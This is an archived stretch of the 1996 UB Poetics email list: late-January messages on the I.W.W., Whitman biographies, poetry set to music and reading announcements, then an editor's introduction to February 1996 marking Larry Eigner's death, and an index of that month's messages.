The I.W.W. was loudly opposed to World War I. Haywood said in his autobiography, "The press and politicians were telling people that it was a 'war to make the world safe for democracy'. . . It was a 'war to end war,' but the Wall Street birds of prey had hatched out a big flock of war millionaires, who are preparing for another war."

(It's amazing how well that reads some 70 years later. It's amazing how pertinent the majority of insights about the structure of American society made by Wobbly leaders still read at the end of the century. If you ever come across in a used bookstore Haywood's AUTOBIO. or Gurley Flynn's I SPEAK MY OWN PIECE, grab it!)

The suspension of civil rights that accompanied the war, the "red scare," and the magnanimous open-mindedness for which small-town America is renowned left no small amount of Wobbly leadership and membership dead, incarcerated or in exile in the years following 'the Great War.'

Now I hear that the Wobblies are not only active and growing but that they've never completely gone away. Twice during a single day I heard that Judy Bari and the Earth First organization in California are I.W.W. (and that someone tried to blow them up!) One source was Poetics' own Gab in Hawaii, and the other a Spoken Word recording made by Jello Biafra. The I.W.W. has a Web

page (http://iww.org) where I downloaded their preamble and constitution and a hypertext pamphlet called "Tactics and Vision for a New Worker Movement." An address on their newspaper lists headquarters in Ypsilanti, MI (next to the Sulfur offices?)

I live in Boston and recently discovered that Wobblies meet once a month at the Lucy Parsons Center in Cambridge. I picked up their paper there (INDUSTRIAL WORKER [online edition: http://iww.org/~iw/]) and found it informative on international labor issues, engaging, optimistic and strikingly free of militant jargon and propaganda.

I'm excited about the Wobblies because of the gross irony that exists in light of their original intentions. Instead of an international force of people striving together to live, work and eat decently, an international corporate force strives (and largely succeeds) to prevent that from happening. Because they're malevolent and mean? Maybe. But mostly because it cuts their profits.

Philadelphia's CITY PAPER ran an article on Wobbly activity in North Philly. It's online but I don't have the address.

So what has anyone heard?

[redacted]

↑ Index

441. Shaunanne Tangney
Re: neuromantic poetry
Wed 31 Jan 1996

On Wed, 31 Jan 1996, Matthew Gary Kirschenbaum wrote:

> *What would a neuromantic poetry look/feel like?*

i'm not exactly sure, but--and perhaps linked to the music and poetry thread going on here--elvis costello's got a song w/ the word "neuroticerotic" in it. --kind of one of those scary-wonderful things!

--shaunanne

> *--Matt (who's posting to this list for the first time and thinking about Victorian sensation novels at least as much as Gibson)*
>
> *==========*
> *Matthew G. Kirschenbaum University of Virginia*

> [redacted] *Department of English*
> *http://faraday.clas.virginia.edu/~mgk3k Electronic Text Center*

↑ Index

442. **Kevin Killian**
Re: biographies...
Wed 31 Jan 1996

Joe Amato wrote:

> *since this bio thread has surfaced: i have sitting next to my keyboard (to remind me that all is not pixel) david s. reynolds' new book on whitman, _walt whitman's america: a cultural biography_... wondering if anybody has spent any real time with it, and what all you may think of it?... i've delved in only in pieces, was surprised to find material on "the trouble" (whitman's alleged sodomy of a child and, by some accounts, subsequent tar & feathering)...*

Gerrit Lansing told me this was by far the best book on Whitman so I scurried out to get it, but I have to disagree with GL (on this one point). I agree with Ed Foster (again, on just this one point) and, I think it was Geoffrey O'Brien in the NY Review of Books that Reynolds' book is fascinating and rich with cultural studies type pop ephemera but doesn't answer the question about how it came about that everyone who saw the same operas, perused the same body-building and evangelical tracts, went to the same bars, etc., etc., as Whitman didn't write Leaves of Grass.

Whitman also taught school in Smithtown (the tar and feathering I think happened in Southold), and in Smithtown his little one room school house is still preserved, right on Route 25A, thanks to the town fathers of the 1940s (actually a group of heroic minded town mothers). I'm from Smithtown and it is our biggest claim to fame, except that Leo G. Carroll ("Topper") lived there. And also it is the setting for the novel, "A Nest of Ninnies," by Ashbery and Schuyler, who passed through it once on a train. (In memory of this occasion, the poets who distributed Schuyler's ashes threw some of them out of the train as it passed through Smithtown several years ago.) Anyhow when I was young a boy from school-Brian Mulhern-and I broke into Whitman's school house and committed sodomy there in his honor. Kind of eerie but way fun. I'm sure others have similar anecdotes.

Kevin Killian

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443. Charles Bernstein
from Douglas Messerli (fwrd)
Wed 31 Jan 1996

A technical glitch bounced this message. Note that a full catalog of Sun & Moon titles is NOW up at the EPC's "Small Press" center; while this listing is new it will soon be replaced by the Sun & Moon homepage now in development.

---------- Forwarded message ----------
Date: Wed, 31 Jan 1996 07:19:37 -0800 (PST)
From: Douglas Messerli <[redacted]>

At 04:41 PM 1/28/96 NICOLE HOELLE wrote:
>DOES ANYONE KNOW OF ANY NEW BOOKS BY BERNADETTE MAYER, AND/OR FANNY HOWE?

Dear Nicole Hoelle:

How new? For Fanny Howe there's been two new poetry books since Sun & Moon Press's novel, SAVING HISTORY. O'CLOCK (from Reality Street editions in England) was published this past year; and the QUIETEST was published in 1992 by O Books. SAVING HISTORY was published by Sun & Moon in 1993. Later this year we plan to publish three revised novels-- which Fanny sees as a trilogy--BRONTE WILDE, FIRST MARRIAGE, and FAMOUS QUESTIONS as in one volume to be called RADICAL LOVE.

For more information you can contact me at [redacted] or take a look in the next few weeks at our wonderful new Sun & Moon website, which I'll be announcing on Poetics List.

Douglas Messerli

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444. Maria Damon
Re: neuromantic poetry
Wed 31 Jan 1996

What would a neuromantic poetry look/feel like? love it: cd look like whimpers of addicted newborns, or life-stories of addicts in recovery, halting breakdowns in articulation and all --cd be movement, body snaking in unforeseeable ways, cd be utterly transformative, what i like to call a "post-literary poetry"--md

↑ Index

445. **Steven Howard Shoemaker**
space is the place
Wed 31 Jan 1996

Ok, since this space stuff keeps coming up, i guess i'm gonna have to get up the nerve to post this. It's not my favorite poem, but it *is* about space...

Apollo 8: Earthrise

not a thought for
Earth (weightless, thoughtless)
leaving (the getaway)

technique, politics, routine
"a massive infusion
of technological strength"

Christ mass
in space, nostalgia for a
whole (planet)

Earthrise (looking back) floating
ornamental, fragile
"so very finite"

Earthrise, caught us all
by surprise

and there was a scramble
for the cameras

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446. **Maria Damon**
Re: United States of Poetry
Wed 31 Jan 1996

yes, tell the rest of us about videos too, bob, for teaching purposes etc.--any forthcomings?--your fan, maria d

↑ Index

447. **Jordan Davis**
Poetry City (Feb.29-Mar.14)
Wed 31 Jan 1996

POETRY CITY

Readings at Teachers & Writers Collaborative's
Center for Imaginative Writing

5 Union Square West, 7th floor
New York, NY 10003

Thursday nights at 6:30 p.m.

February 29
BILL LUOMA & SIMON PETTET

March 7
LISA JARNOT & JOHN GODFREY

March 14
MARIA DAMON & WALTER LEW

Refreshments will be served
Readings at Poetry City are free

Contact: Jordan Davis [redacted]

↑ Index

448. **Charles Smith**
Re: music and mercury
Wed 31 Jan 1996

In a message dated 96-01-31 01:26:14 EST, you write:

> *On another tack, are they any good settings of music into petry we should no about? (Sticky Fingers, Shelter from the Storm come to mind).*
>
> *Jordan*

Wouldn't that describe a good bit of Mackey's prose?

↑ Index

449. **Kevin Killian**
Re: neuromantic poetry
Wed 31 Jan 1996

At 1:17 PM 1/31/96, Maria Damon wrote:
>What would a neuromantic poetry look/feel like?
>love it:
>cd look like whimpers of addicted newborns, or life-stories of addicts in
>recovery, halting breakdowns in articulation and all --cd be movement, body
>snaking in unforeseeable ways, cd be utterly transformative, what i like to
>call a "post-literary poetry"--md

Maria,

KK's subscribed to the Beat Generation List--I think you should repost your message there: "BEAT-L: Beat Generation List" <[redacted]>

It sounds right up their alley.

Dodie

↑ Index

450. **Chris Stroffolino**
Re: Poetry City (Feb.29-Mar.14)
Wed 31 Jan 1996

Jordan---who's Walter Lew? Maria (Damon)--I didn't know you wrote poetry (er, post literacy poetry?) And could any one sum up the difference between Simon Pettet and Simon Perchek, or at least give me handle on it. I always get them confused. And no BIASED answers, please! (coz I know one of them is hipper in this scene)....kinda like it took me years to figure out lewish welsh was not lewis warsh (and none of them walter lew, or lew daly) and like a chld's first confusion between penises and phalluses (smile, BOB P.!) or my own between Robert Coover, Raymond Carver and the guy who played Ironside (that defunct mag from the southwest) or Ironweed or Silwood staring Aaron Burr and Raymond Chandler.... cs.

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451. **Chris Stroffolino**
Re: space is the place
Wed 31 Jan 1996

Dear Steven Howard Shoemaker--here's an EVEN WORSE "poem"---

that Maria's BILL BIXBY reference reminded me of:

"Both my curiosity and fear about the "real you"
have pricked up their ears. They ARE ears.
The ambassadors between them, moving faster
than waves between Uncle Martin's antennae,
are hungry for more footage. They know
they must recede back into the scalp,
stick their heads in the sand, for you and I
to meet again. But together they know
at least one of them will be rewarded
and so give up fighting to unite against
"some other guy" for you.

A Yeatsian martian dictated this, mon fuhrer!---cs

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452. **Jerry Rothenberg**
reading
Wed 31 Jan 1996

For anyone in the Bay Area who would like to attend &/or use it as an occasion for getting together, I'll be doing a reading & book signing for POEMS FOR THE MILLENNIUM at Black Oak Books in Berkeley: Monday February 5 at 7:30. I'll do some of my own but mostly get into a performance of fabled others -- including a new performance version of the presto section of Schwitters' Ur Sonata -- as those turn up in the book co-edited with Pierre Joris.

There will also be an interview on KQED that morning at 9:30 and a Jack Foley interview on KPFA sometime later along.

Jerome Rothenberg
Encinitas

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453. **Janet Hoelle**
Re: music & poetry
Wed 31 Jan 1996

Has anybody mentioned the "Kerouac Collection" tapes, that feature Kerouac reading his Haikus accompanied by Zoot Sims.

Also Anne Sexton's poem "The Funeral" (?) was put to music, though I don't know name of arranger etc.

Part of "Song of Myself" was set to music though I wouldn't reccomend it.

Then, there's Salome, by Oscar Wilde which was operaized by Strauss.

A musician friend of mine excerpted pieces of Wordsworth's Prelude, though it is not YET available for mass consumption.

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454. **Jordan Davis**
Re: Poetry City (Feb.29-Mar.14)
Wed 31 Jan 1996

Chris-- Walter's the editor of Kaya Press. He's just published an anthology of Asian-American writing called (I think) _Transformations_. Maria will probably be talking about Gertrude Stein, Allen Ginsberg & Lenny Bruce (not to lock you into anything, Maria!), but if she wants to be post-literate too, that's fine with me.. you should check out the lines she's been adding to the rengas

lately, Chris. Simon Pettet's _Selected Poems_ just came out from Talisman House, Publishers. He's British, he lives in New York, he reads each of his poems _twice_. Simon Perchik (I think that's the spelling) is someone else.
As for phalloi etc, you're on your own, baby..

Jordan

↑ Index

455. **Janet Hoelle**
Re: Music and poetry
Wed 31 Jan 1996

Has anybody mentioned the "Kerouac Collection" tapes, which feature Kerouac reading his Haikus accompanied by Zoot Sims.

Also, Anne Sexton's poem "The Funeral" (?) was put to music, though I don't know the name of arranger, etc.

Part of Whitman's "Song of Myself" was set to music though I wouldn't recccomend it.

Also, Oscar Wilde's "Salome" was operaized by Strauss.

A friend of mine excerpted pieces of Wordsworth's Prelude though it is not YET available for mass consumption. NICOLE HOELLE

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456. **tunguska**
Re: NYC b & N superstore reading series
Wed 31 Jan 1996

Dear poetic;

In an effort to assist the events coordinator of the new Barnes & Noble (where are they NOT these days) at Union Square in New York City, I've been requested to supply as many facts, names, and ideas from the poetry writen' world as possible. I'm asking any and all small presses, poets, publishers (chapbooks too!) to get in contact with me and let me know when and if you will be in the New York area and if you are interested in reading at B & N, possibly with whom, with any ideas you may have, time schedules, release dates into the next year, other organizations you could band with to do group readings, etc. In short, I need to know what resources you would be able to bring to your book signing/reading/party event so that the B & N events coordinator can slot the best possible dates and situations for all concerned.

Also, this will enable you to have your book (a special chapbook section is being considered at this time in this 4 storey store) enter into the barnes and noble

ordering system (even if it's been ordered by it already, it's a good way to keep it in stock).

If any one has any questions, please don't hesitate to get in touch. Pass the word, etc.

best, tod thilleman [redacted]

phone : [redacted] fax: [redacted]
tod thilleman

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457. Ward Tietz
Re: post-literary poetry
Wed 31 Jan 1996

Maria,

I'm intrigued by the last part of your recent posting, "cd be utterly transformative, what I like to call a 'post-literary poetry.'" Could you elaborate a little? This idea comes up from time to time in various contexts, mostly in application to electronic media, but it seems to me to have wider implications, that is the potential to breach or dissolve category. "Post-literary" also would seem to provoke a sense of hybrid form; at limit it might suggest a poetry that would not be recognizable as poetry, one that would be pulled at by other disciplines to the point of dissolving or breaking up, but I don't know if this sort of scenario would apply to what you're talking about.

Ward Tietz

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458. Shaunanne Tangney
Re: Music and poetry
Wed 31 Jan 1996

On Wed, 31 Jan 1996, Janet Hoelle wrote:

>
> Also, Anne Sexton's poem "The Funeral" (?) was put to music, though I
> don't know the name of arranger, etc.
>
sexton had a whole rock band--"her kind"--which busied themselves putting her poetry to music. don't have a clue as to waht it's like--!

--shaunanne

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459. Charles Bernstein
Ben Yarmolinsky's songs (catalog)
Wed 31 Jan 1996

I have written the librettos for three operas (or music theater works) in collaboration with composer Ben Yarmolinsky:

Blind Witness News (libretto published in Plowshares, Vol. 17, No. 1 [1991]) The Subject (published last year by Meow Press, avail. from SPD) The Lenny Paschen Show (published as Abacus #86, 1994)

Cassettes and videos of these are available from Ben Yarmolinsy (see below).

I also wrote a libretto for Dean Drummond, _Cafe Buffe_, and Dean is at work on what will be a microtonal setting to be played by Newband on some of the Harry Partch instruments of which is Dean is caretaker, among other instruments.

But settings of poems is another matter altogether ... Here is a list of poems (and related texts) set by Ben Yarmolinsky:

--Charles Bernstein

Date: Tue, 30 Jan 1996 18:57:57 -0500
From: Ben Yarmolinsky <[redacted]>

Catalog of Songs by Ben Yarmolinsky

(Exclusive of songs that are part of theatre works)

All of the following songs are published by BenYar Productions, ASCAP, 300 West 108th St. 14-A, New York, NY 10025

****

GUITAR SONGS:

Coda from Briggflats - Basil Bunting

The Uninvited Guest, The Sinking Spell - Edward Gorey,

Wherever Angels Go, Don't Get Me Wrong, O! Heart of Mine, Shenandoah, Endless Destination - Charles Bernstein,

She Set Him Free - William Pillin

No Longer Very Clear - John Ashbery

Mansion Avenue, penny paper, Little Mirror, harp fool harp, accurate beam, What is Sung - Ray DiPalma

She'll Be Comin' Round - James Sherry

Salute - James Schuyler

Come In - Robert Frost

Anecdote of the Jar - Wallace Stevens

Next to Nothing - Paul Bowles

The Laurels Are All Cut, Damnation - Babette Deutsch

The Jumblies, The Owl and the Pussycat - Edward Lear

Balthazar's Song (with flute obligato) from Much Ado About Nothing

guitar arrangements:
Blue Mountain Ballads - music by Paul Bowles/texts by Tennessee Williams
Six Songs by George and Ira Gershwin

****

PIANO SONGS:

The Snowman, Anecedote of the Jar, The Ordinary Women, The Reader, Cortege for Rosenbloom, Of Mere Being, Sad Strains of a Gay Waltz, The Old Lutheran Bells (with trumpet) - Wallace Stevens

Six Animal Songs (Frog, Kangaroo, Butterfly, Snake, Dromedary, Monkey)-Damnation, Hope - Babette Deutsch

The Swan - Oliver Herford

The Sloth - Theodore Roethke

The Ballad of the Fat Man and the Thin Man, Lullaby - Ben Yarmolinsky

Six Songs-(Ballad, Poem, Sidi Amar in Winter, Taedium Vitae, Next to Nothing, Far From Why) - Paul Bowles

in just-spring - ee cummings

Little Elegy - Elinor Wylie

Song - Judith Malina

To You - Walt Whitman

Rain in Spring - Paul Goodman

Hundreds of Fireflies - Brad Leithauser

Amendments - settings of Articles from the U.S. Constitution

****

SONGS WITH ENSEMBLE ACCOMPANIMENT:

Five Songs (Devotions, Creed, A Musical Offering, The Scroll, So?) for medium voice, string quartet and clarinet - Leonard Nathan

Animal Songs (Frog, Kangaroo, Butterfly, Snake, Dromedary, Monkey) for medium voice, clarinet, bassoon, trumpet, trombone, violin, bass and percussion - Babette Deutsch

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460. **Maria Damon**
Re: space is the place
Wed 31 Jan 1996

---

chris stroff:
intrigued! what Bill Bixby did i refer to?
bests, maria d

↑ Index

461. **Maria Damon**
Re: Poetry City (Feb.29-Mar.14)
Wed 31 Jan 1996

---

hi again chris, i don't write poetry except rengas, so you'll have to gird your loins against some illiterate prose...shd i take offense at "post-literacy"? we have some weird vibe here, let's just be cool. walter lew is an old buddy from college, who just published Premonitions: the Kaya Anthology of New North American Asian Poetry, which is high on the groove scale. be there or be post-literate -- maria d

↑ Index

462. **Maria Damon**
Re: Poetry City (Feb.29-Mar.14)
Wed 31 Jan 1996

---

really now! i didn't realize I had such a reputation as a yahoo that chris s had to be urged to read my renga contributions to verify my literacy. i mean, i am primarily a critic rather than a poet, but, come on guys, wd you talk about marjorie perloff this way? maria d

↑ Index

463. **Susan Schultz**
Re: Poetry City (Feb.29-Mar.14)
Wed 31 Jan 1996

It's _Premonitions_, and it's good... SMS

On Wed, 31 Jan 1996, Jordan Davis wrote:

> *Chris--*
> *Walter's the editor of Kaya Press. He's just published an anthology of Asian-American writing called (I think) _Transformations_. Maria will probably be talking about Gertrude Stein, Allen Ginsberg & Lenny Bruce (not to lock you into anything, Maria!), but if she wants to be post-literate too, that's fine with me.. you should check out the lines she's been adding to the rengas lately, Chris.*
> *Simon Pettet's _Selected Poems_ just came out from Talisman House, Publishers. He's British, he lives in New York, he reads each of his poems _twice_. Simon Perchik (I think that's the spelling) is someone else.*
> *As for phalloi etc, you're on your own, baby..*
>
> *Jordan*

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464. **Maria Damon**
YO, Henry Gould
Wed 31 Jan 1996

---

hi, having just promised some rengas i find i've lost NEDGE's address and yours as well. please "backchannel" svp asap.

bests, maria d

↑ Index

465. **Kevin Killian**
Reply of Our Lady Teresa
Wed 31 Jan 1996

This is Dodie Bellamy speaking.

I just received a great book in the mail today from Goddesses We Ain't, a San Francisco literary organization for which Small Press Traffic is the fiscal sponsor. Goddesses We Ain't focuses on teaching and promoting writing of low-income, minority, and disabled women. But their latest book is an incredible piece of writing for its own sake. It's Marsha Campbell's _Reply of Our Lady Teresa to the Poet Crashaw on the Occasion of His Having Written a Hymn for Her Sake a Few Years After Her Death_. In her surreal epic prose poem, Marsha really has the religion and eros thing down--a brutal and beautiful book. It deserves a wider, more sophisticated audience than this packaging is likely to bring it.

$12, available from Goddesses We Ain't, 1440 Guerrero St., San Francisco, CA 94110

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466. **Steve Carll**
Re: Gustaf Sobin
Wed 31 Jan 1996

At 03:46 PM 1/30/96 -0500, you wrote:
>It's a shame someone of his stature can come to the Bay Area & not have more
>readings thru the established channels outside of academia... & that, as you
>mentioned, the ones he DOES have aren't even publicized.

I did get to see him. He was wonderful--and there was hardly anyone there! This could partially be chalked up to the lousy weather, of course, but Sobin readings are so rare that there could have been far more people in that audience had they only heard about it. Michael McClure and Michael Palmer (who intro'd Sobin) are two of his oldest friends and THEY were seeing him read for the first time.

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467. **Carla Billitteri**
Re: Gustaf Sobin
Wed 31 Jan 1996

---

folks:. Gustaf Sobin will give a poetry reading

University at Buffalo

Wednesday February 14

(room and time to be announced)

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468. **Steve Carll**
Re: music & poetry
Wed 31 Jan 1996

At 12:33 PM 1/31/96 -0800, you wrote:
>Has anybody mentioned the "Kerouac Collection" tapes, that feature
>Kerouac reading his Haikus accompanied by Zoot Sims.

No--and I can't BELIEVE it slipped my mind. This is my favorite Kerouac material. That's not only Zoot, but also Al Cohn (they alternate riffs between haikus). An excellent hybrid.

Steve

↑ Index

469. **Janet Hoelle**
Re: music & poetry
Wed 31 Jan 1996

Yes, and I can't believe I forgot that Al Cohn is on there--and we mustn't forget good old Steve Allen on the "Last Word" and "Steve Allen" tapes. I'm hitting the titles a little roughly, but my favorite of course is the one that ends: "the moon is a piece of tea, beneath the sky, verterbrate zoology," and of course "The History of Bop," "San Francisco Blues," "The Moon,"...."an imaginary orange ball manifesting many gentlemanly remarks/She kicks a star/Clouds foregather/in scimitar shape...." and description upon explosive description, finally coming to the wonderful conclusion: "....in any case the moon." I once owned the written, printed version, in "Pomes All Sizes," but it was stolen, as many of my books seem to have been over the years.....NICOLE HOELLE

On Wed, 31 Jan 1996, Steve Carll wrote:

> *At 12:33 PM 1/31/96 -0800, you wrote:*
> *Has anybody mentioned the "Kerouac Collection" tapes, that feature Kerouac reading his Haikus accompanied by Zoot Sims.*
>
> *No--and I can't BELIEVE it slipped my mind. This is my favorite Kerouac material. That's not only Zoot, but also Al Cohn (they alternate riffs between haikus). An excellent hybrid.*
>
> *Steve*

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@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

February 1996

764 messages · Thu 1 Feb 1996 – Thu 29 Feb 1996

February is a leap month, and it opens under a shadow: on the third, Larry Eigner dies. Elsewhere a machine named Deep Blue takes a game from the reigning world chess champion for the first time, and the list registers that too, faintly — but its attention is on the poet from Swampscott, gone at sixty-eight.

Hank Lazer posts the news plainly — Eigner *“died last night of pneumonia and other complications”* — and appends the basics: born 1927, cerebral palsy from birth, non-ambulatory, a lifetime of poems composed against the odds. For a few days the list sets down its quarrels to remember him, and the particular clarity that Eigner wrung from constraint, the way each word arrived as if it had been waited for.

The season's live debate, otherwise, is the everyday. David Carl relays Sandra Gilbert's challenge to demonstrate how language poetry participates in *“a poetics of the quotidian,”* and the list answers with reading lists and counter-theories; nearby, under the banner of writing the body, the listers work through Cixous and écriture féminine, arguing how, and whether, a poem can be written through the flesh at all.

Even the abbreviations come in for scrutiny. Mark Nowak, mid-argument about the postmodern, pauses to note the California Native Americans *“whose heritage is Pomo”* and asks the list, gently, to retire the shorthand — the sort of small attention that Ron Silliman, praising a fierce post in another thread, calls the list's *“white-hot intensity of thought”* turned, for once, upon itself.

It is a full month — a death, a debate about the ordinary, a reckoning with a careless name — and the list carries all of it at once, grieving and arguing in the same breath, which is very likely the only way it knows to proceed. I have ordered February's letters, hidden every address behind its bar, and left the list mid-mourning and mid-thought, exactly as it always is.

— Kristen M. Fabians

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Writers, names mentioned, and concepts. Every number links to its message. 764 in all.

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208. Alan Sondheim — Re: Pomo
209. FUNKHOUSER CHRISTOPH — Re: eigner
210. Joe Amato — Re: Pomo

211. Charles Alexander — Re: We all break for laokoon
212. Stephen Galen Cope — poetry & sculpture...
213. Edward Foster — Re: eigner
214. Schuchat — Re: Pomo
215. Joseph Zitt — Re: Pomo
216. Tom Beard — Re: neut gender
217. Loss Glazier — EPC Press Listings
218. Eryque Gleason — Re: Pomo
219. Steve Carll — Re: We all break for laokoon
220. Marisa Januzzi — Re: Whee (no brake)
221. Maria Damon — Re: Pomo
222. Sheila E. Murphy — Poetry & Sculpture, etc.
223. Kit Robinson — Ilya Kutik

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224. Janet Hoelle — Re: Sun & Moon Website Is Now Open
225. Rod Smith — Re: We all break for laokoon
226. Ron Silliman — Re: Eigner
227. Charles Alexander — chax website
228. Ron Silliman — Vision Project #1
229. Rachel Loden — the art and poetry worlds
230. Jonathan A Levin — Re: We all break for laokoon
231. David Kellogg — Re: Eigner
232. Mark Roberts — Sun & Moon Website Is Now Open
233. Douglas Messerli — Re: Sun & Moon Website Is Now Open
234. Mark Roberts — re Sun & Moon Website
235. Peter Jaeger — Re: snakes and laokooners
236. Jerry Rothenberg — Re: Poetry & Sculpture, etc.
237. Jerry Rothenberg — Re: Eigner
238. Alan Sondheim — Re: Poetry & Sculpture, etc.
239. Laura Moriarty — Re: Eigner
240. Jonathan Brannen — Re: Bernadette Mayer Fan Club (charter member)
241. Jonathan Brannen — Larry Eigner
242. Jack Mahan — fearful symmetry

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243. Colleen Lookingbill — Canessa March readings
244. Ron Silliman — Larry Eigner
245. Gabrielle Welford — Re: fearful symmetry
246. Aldon L. Nielsen — Re: Eigner recordings
247. Maria Damon — Re: fearful symmetry/Pomo revisited
248. Charles Bernstein — Jack Foley on Larry Eigner
249. Eryque Gleason — Re: fearful symmetry/Pomo revisited
250. Eryque Gleason — a star is born
251. Joe Amato — Re: fearful symmetry/Pomo revisited
252. Janet Hoelle — Re: POET'S BIRTHDAYS
253. Colleen Lookingbill — Re: Canessa March readings
254. ryan johnson — Re: Pomo ergo sum
255. Eryque Gleason — Re: fearful symmetry/Pomo revisited
256. Eryque Gleason — Re: POET'S BIRTHDAYS

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257. James Perez — Re: fearful symmetry/Pomo revisited
258. Janet Hoelle — Re: POET'S BIRTHDAYS
259. Kevin Killian — Re: POET'S BIRTHDAYS
260. Loss Glazier — Re: Eigner
261. Emily Lloyd — not a dickwad

262. Joe Amato — pomo/Pomo etc...
263. James Sherry — Eigner
264. Chris Stroffolino — Re: Eigner
265. Alan Golding — Stein
266. Jeff Hansen — poetics of quotidian
267. Hank Lazer — Re: e=r=o=t=i=c
268. Jordan Davis — e=r=o=e=t=c
269. Joe Amato — Re: not a dickwad
270. Charles Bernstein — Poetics of the Extraordinary (fwd)
271. Emily Lloyd — Re: not a dickwad
272. Rae Armantrout — Re: poetics of quotidian
273. Joe Amato — Re: poetics of quotidian
274. Douglas Messerli — Re: poetics of quotidian
275. Eryque Gleason — Re: Stein
276. Ray Davis — Re: e=r=o=t=i=c
277. Marisa Januzzi — Williams flowerboy
278. Emily Lloyd — Re: Stein
279. Gabrielle Welford — Re: POET'S BIRTHDAYS
280. Joe Amato — Re: not a dickwad
281. Emily Lloyd — Re: Ppoommoo
282. Joshua N Schuster — Re: e=r=o=t=i=c
283. megan blair simpson — Re: poetics of quotidian/erotics
284. Eryque Gleason — jeopardy
285. ryan johnson — Re: not a dickwad
286. Robert Drake — poetiks & drama
287. Nick Lawrence — Re: jeopardy

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288. ryan johnson — Re: pomo/Pomo cont'd.
289. Rod Smith — Re: poetics of quotidian
290. Ron Silliman — Re: poetics of quotidian
291. Maria Damon — Re: e=r=o=t=i=c
292. Douglas Messerli — The America Awards
293. Kevin Killian — Re: e=r=o=t=i=c
294. Kevin Killian — SPT newsletter call for reviews
295. Maria Damon — Re: smart
296. Janet Hoelle — Re: e=r=o=t=i=c
297. Ryan Knighton — Announcing TADs
298. Ryan Knighton — listserv question
299. Louis Cabri — new hole chapbook
300. Eryque Gleason — Re: listserv question

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301. Kevin Killian — Re: smart
302. Kevin Killian — Re: e=r=o=t=i=c
303. Ron Silliman — Re: SPT
304. Pierre Joris — The Nightable Ten
305. Henry Gould — announce: Nedge on web (sort of)
306. Chris Stroffolino — Re: e=r=o=t=i=c
307. Douglas Messerli — Larry Eigner
308. Ray Davis — Re: e=r=o=t=i=c
309. Maria Damon — Re: smart
310. Maria Damon — Re: e=r=o=t=i=c
311. Peter Jaeger — Re: e=r=o=t=i=c
312. CHRISTOPHER H. JACKSON — Re: Stein
313. David Ayre — KSW events Feb/Mar 96
314. Douglas Messerli — Amelia Rosselli

315. Gwyn McVay — More on poets to music
316. Charles Alexander — Re: e=r=o=t=i=c
317. Jerry Rothenberg — (no subject)
318. Emily Lloyd — E=R=O=& other things

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319. Thomas Bell — Re: e=r=o=t=i=c and quotidian
320. Rod Smith — Re: The Nightable Ten
321. Rod Smith — Re: The Nightable Ten
322. Rod Smith — DC Readings Feb. 18th
323. Jennifer Ashton — Re: Stein
324. KUSZAI — The Rusty Word #2 -- Call For Work
325. megan blair simpson — writing the body
326. Kevin Killian — obtaining the SPT newsletter
327. Edward Foster — Re: The Nightable Ten
328. David Ayre — KSW: cyberratum
329. David Kellogg — Stein
330. ryan johnson — a query
331. Jonathan A Levin — Re: a query
332. Jordan Davis — Poetry Sightings
333. Marisa Januzzi — Re: Amelia Rosselli
334. Kevin Killian — Re: writing the body
335. Ryan Knighton — Re: writing the body

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336. Eryque Gleason — erotical quoteedids
337. Rod Smith — Re: a query
338. Chris Stroffolino — Re: writing the body
339. Kevin Killian — Re: writing the body
340. Ron Silliman — Re: writing the body
341. Robert Drake — Re: Poetry Sightings
342. Hank Lazer — Re: Eigner
343. Joe Amato — Re: a query
344. Nancy D. — P*A*S*S*I*O*N, anyone?
345. Daniel Bouchard — Re: a query
346. Emily Lloyd — Re: P*A*S*S*I*O*N, anyone?
347. Brian McHale — Re: a query
348. Maria Damon — Re: writing the body
349. Chris Stroffolino — Re: P*A*S*S*I*O*N, anyone?
350. Jordan Davis — Re: biting your buddy
351. Pierre Joris — Furrin news that stays news
352. Janet Hoelle — Re: E=R=O=& other things
353. Douglas Messerli — Sun & Moon Press
354. Janet Hoelle — Re: writing the body
355. Pierre Joris — Re: The Nightable Ten
356. Daniel Bouchard — Re: Sun & Moon Press
357. mikl-em — tics of eros
358. Alan Sondheim — Re: writing the body
359. Steve Carll — Re: writing the body
360. Daniel Bouchard — Re: tics of eros
361. Henry Gould — writing the bod
362. Mark Nowak — "Pomo"
363. Jordan Davis — Poetry City (events at Teachers & Writers)
364. Douglas Messerli — Re: Sun & Moon Press
365. Chris Stroffolino — Re: Sun & Moon Press
366. Steve Carll — Re: writing the body
367. James Perez — Re: Poetry Sightings

368. Edward Foster — Re: The Nightable Ten
369. Shaunanne Tangney — Re: writing the body
370. jeffrey timmons — Re: writing the body
371. Matthew Gary Kirschenbaum — johanna drucker's work
372. Emily Lloyd — write that body
373. Shaunanne Tangney — Re: write that body
374. FUNKHOUSER CHRISTOPH — IU WWW Poet of the Week

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375. Thomas Bell — Re: writing the body
376. Chris Stroffolino — Re: write that body
377. Charles Alexander — Re: writing the bod
378. Tom Goodell — coded swirling mix
379. Chris Stroffolino — Re: write that body
380. Ron Silliman — Re: a query
381. Roger Field — Re: writing the body
382. Ron Silliman — Sun & Moon brand equity
383. Henry Gould — Re: writing the bod
384. Schuchat — Re: writing the bod
385. Henry Gould — re; writing the bod in the mini-apple
386. David Kellogg — Re: Poetry Sightings
387. kathryne — Re: Poetry Sightings
388. Herb Levy — Re: proprioception
389. Charles Alexander — Re: johanna drucker's work
390. Ken Edwards — Out of Everywhere
391. Jordan Davis — Button Sightings
392. Charles Alexander — Re: writing the body
393. Charles Alexander — Re: writing the bod
394. Charles Alexander — miniapples, berssenbrugge, kim
395. Douglas Messerli — Sun & Moon brand equity
396. Robert A Harrison — Re> johanna drucker's work
397. Emily Lloyd — Buttons
398. Sheila E. Murphy — Re: writing the body
399. R I Caddel — Northern Readings
400. Rod Smith — Re: Sun & Moon brand equity
401. Douglas Messerli — Readings at Sun & Moon Press
402. Maria Damon — Re: writing the body
403. Maria Damon — Re: Poetry Sightings
404. Maria Damon — Re: writing the body
405. Jonathan A Levin — Call fr papers, mla 96
406. Chris Stroffolino — Re: writing the body
407. jeffrey timmons — Re: write that body
408. Jordan Davis — Re: Poetry Sightings
409. Jordan Davis — Re: Poetry Sightings
410. Joseph Zitt — Re: "Pomo"
411. Maria Damon — Re: write that boy
412. Charles Watts — Cap Review (fwd)

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413. Ron Silliman — (C) up for grabs
414. Daniel Bouchard — Re: (C) up for grabs
415. Brian McHale — Re: a query
416. James Sherry — ROOF BOOKS -- Special Offer
417. Douglas Messerli — Re: ROOF BOOKS -- Special Offer
418. Joe Amato — Re: ROOF BOOKS -- Special Offer
